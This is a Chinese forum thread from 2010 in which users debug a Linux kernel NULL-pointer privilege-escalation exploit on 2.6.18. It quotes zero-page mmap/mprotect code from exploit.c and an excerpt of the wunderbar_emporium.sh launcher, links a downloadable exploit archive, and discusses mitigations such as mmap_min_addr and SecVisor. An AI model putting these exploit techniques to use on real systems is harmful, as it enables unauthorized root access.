免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: kouu
打印 上一主题 下一主题

剖析一个由sendfile引发的linux内核BUG [复制链接]

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
21 [报告]
发表于 2010-01-15 17:58 |只看该作者
兄弟都有测试环境了, 为什么不试试? 还是在故意考验我呢, 呵呵。 我的理解是在2.6.18系统上你能设置PER_SVR4, 就能映射0地址。

呵呵,不好意思。

我就是测试了,没有成功exploit。

因为觉得理论上可以,所以问一下W.Z.T兄。

设置PER_SVR4之后,exploit.c调用的是mrprotect进行修改内存区的,但是失败了:
        if ((personality(0xffffffff)) != PER_SVR4) {
                dbgprint("Not equal to PER_SVR4, \n");       
                mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
                dbgprint("first mmap, mem = %p, addr = %x\n", mem, (unsigned long)mem);
                if (mem != NULL) {
                        /* for old kernels with SELinux that don't allow RWX anonymous mappings
                           luckily they don't have NX support either ;) */
                        mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
                        dbgprint("second mmap, mem = %p\n", mem);
                        if (mem != NULL) {
                                fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
                                return 1;
                        }
                }
        } else {
                ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
                if (ret == -1) {
                        fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
                        return 1;
                }
        }

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
22 [报告]
发表于 2010-01-15 18:00 |只看该作者
返回的错误信息是:
mprotect: Cannot allocate memory

论坛徽章:
0
23 [报告]
发表于 2010-01-16 13:25 |只看该作者
LZ分析得不错。我从头到尾看完了。

GOD兄和WZT兄的讨论还需要消化下。

另外,我想起了以前看的一篇学术文章,叫SECVISOR. http://www.sosp2007.org/papers/sosp079-seshadri.pdf

它的中心思想就是把内核和用户态严格分开(通过一个虚拟机SECVISOR来实现)。在用户切换到内核态后,好像用户态的内存就改成READ-ONLY了。这样的话,即使你映射了0地址,在跳过去的时候会发生错误。导致无法利用NULL POINTER漏洞。

不过这个东西要下面有个虚拟机支持。应用起来效率可能会低一些。不太好推广。

btw:那篇文章中的第三作者是个中国人。好像是清华还是北大过去的。

论坛徽章:
0
24 [报告]
发表于 2010-01-16 13:46 |只看该作者
原帖由 Godbach 于 2010-1-15 17:58 发表

呵呵,不好意思。

我就是测试了,没有成功exploit。

因为觉得理论上可以,所以问一下W.Z.T兄。

设置PER_SVR4之后,exploit.c调用的是mrprotect进行修改内存区的,但是失败了:


正如楼主所分析的那样, 设置PER_SVR4之后, 是可以映射0地址的, 我的2.6.18系统可以修改0地址的内存属性, 也能exploit成功。不知兄弟的内核版本是多少呢?

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
25 [报告]
发表于 2010-01-16 15:19 |只看该作者
原帖由 W.Z.T 于 2010-1-16 13:46 发表


正如楼主所分析的那样, 设置PER_SVR4之后, 是可以映射0地址的, 我的2.6.18系统可以修改0地址的内存属性, 也能exploit成功。不知兄弟的内核版本是多少呢?


我用的就是RHEL5.2,内核是2.6.18的,其中SElinux被禁用掉了。但是vm.mmap_min_addr是65536, 这个时候理论上应该是可以exploit的。

但是wunderbar_emporium.sh这个脚本中
#!/bin/sh

...
MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null`
if [ "$MINADDR" = "" -o "$MINADDR" = "0" ]; then
    cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c 2> /dev/null
    if [ "$?" = "1" ]; then
       cc $OPT_FLAG -o exploit exploit.c
    fi
    cat tzameti.avi >> ./exploit
    ./exploit
elif [ ! -f '/usr/sbin/getenforce' ]; then
    cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c
    cc $OPT_FLAG -o pwnkernel pwnkernel.c
  ./pwnkernel

else
...
fi
mv -f pwnkernel2.c pwnkernel.c

这种情形下要借助于pulseaudio程序才能工作的。

论坛徽章:
0
26 [报告]
发表于 2010-01-16 16:27 |只看该作者
原帖由 Godbach 于 2010-1-16 15:19 发表


我用的就是RHEL5.2,内核是2.6.18的,其中SElinux被禁用掉了。但是vm.mmap_min_addr是65536, 这个时候理论上应该是可以exploit的。

但是wunderbar_emporium.sh这个脚本中

这种情形下要借助于pulseau ...


不要用这个exploit程序, 用楼主分析的那个程序。 2.6.27以前的系统不需要pulseaudio那个东西。

[ 本帖最后由 W.Z.T 于 2010-1-16 16:31 编辑 ]

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
27 [报告]
发表于 2010-01-16 16:31 |只看该作者
原帖由 W.Z.T 于 2010-1-16 16:27 发表


不要用这个exploit程序, 用楼主分析的那个程序。 2.6.27以前的系统不需要pulseau那个东西。


我测试的时候使用的就是LZ分析的那个程序。因为这个程序是要用的pluseaudio的。

论坛徽章:
0
28 [报告]
发表于 2010-01-16 16:34 |只看该作者
原帖由 Godbach 于 2010-1-16 16:31 发表


我测试的时候使用的就是LZ分析的那个程序。因为这个程序是要用的pluseaudio的。


我确定你用的不是楼主分析的那个程序。 用附件这个吧~

proto_ops.rar

1.71 KB, 下载次数: 21

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
29 [报告]
发表于 2010-01-16 16:39 |只看该作者
呵呵。你是说我分析了这个脚本,所以断定没有用那个程序吗。

不过我测试的时候确实是用的是的,因为手头有两个例程,我都会测试一下的。只是现在测试的环境是另一个同事的,周一过来再执行一下看看。
你测试的时候和我说的情况是一样的吗,mmap_min_addr不为0

论坛徽章:
0
30 [报告]
发表于 2010-01-16 17:03 |只看该作者
原帖由 Godbach 于 2010-1-16 16:39 发表
呵呵。你是说我分析了这个脚本,所以断定没有用那个程序吗。

不过我测试的时候确实是用的是的,因为手头有两个例程,我都会测试一下的。只是现在测试的环境是另一个同事的,周一过来再执行一下看看。
你测试 ...


我自己build的一个2.6.18系统, 测试是可以的。 mmap_min_addr在禁用selinux后就没用了吧。 我没在相关代码中看到有禁止映射0地址的操作。

[ 本帖最后由 W.Z.T 于 2010-1-16 17:11 编辑 ]
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP